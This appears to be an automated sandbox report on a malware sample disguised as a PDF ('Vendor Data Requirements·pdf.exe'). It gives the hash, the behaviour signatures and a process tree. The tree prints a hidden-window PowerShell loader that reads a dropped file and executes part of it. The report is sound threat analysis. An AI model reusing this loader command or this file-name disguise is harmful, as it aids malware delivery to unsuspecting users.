Analysis
- max time kernel
148s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240704-en - resource tags
- submitted
09/07/2024, 09:49
General
- Target Vendor Data Requirements·pdf.exe
- Size 401KB
- Sample240709-ltcejaxejl
- SHA256 a03913b0dcf4d9707eb9c74d69b522927e760e9be55effb0e14ebbbaad9177c7
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Vendor Data Requirements·pdf.exe"C:\Users\Admin\AppData\Local\Temp\Vendor Data Requirements·pdf.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Vindflj=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\delysten.imp';$Byggryn=$Vindflj.SubString(71093,3);.$Byggryn($Vindflj)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 24523⤵
- Program crash
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-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3060 -ip 30601⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_t2v2wgla.tnr.ps1
delysten.imp
memory/3060-13-0x0000000073840000-0x0000000073FF0000-memory.dmp
memory/3060-28-0x0000000006420000-0x000000000646C000-memory.dmp
memory/3060-9-0x000000007384E000-0x000000007384F000-memory.dmp
memory/3060-14-0x0000000005400000-0x0000000005422000-memory.dmp
memory/3060-15-0x0000000005D10000-0x0000000005D76000-memory.dmp
memory/3060-16-0x0000000005D80000-0x0000000005DE6000-memory.dmp
memory/3060-11-0x00000000055E0000-0x0000000005C08000-memory.dmp
memory/3060-26-0x0000000005DF0000-0x0000000006144000-memory.dmp
memory/3060-27-0x00000000063D0000-0x00000000063EE000-memory.dmp
memory/3060-12-0x0000000073840000-0x0000000073FF0000-memory.dmp
memory/3060-29-0x00000000073A0000-0x0000000007436000-memory.dmp
memory/3060-30-0x0000000006910000-0x000000000692A000-memory.dmp
memory/3060-31-0x0000000006930000-0x0000000006952000-memory.dmp
memory/3060-32-0x00000000079F0000-0x0000000007F94000-memory.dmp
memory/3060-10-0x0000000002E00000-0x0000000002E36000-memory.dmp
memory/3060-34-0x0000000008620000-0x0000000008C9A000-memory.dmp
memory/3060-36-0x0000000073840000-0x0000000073FF0000-memory.dmp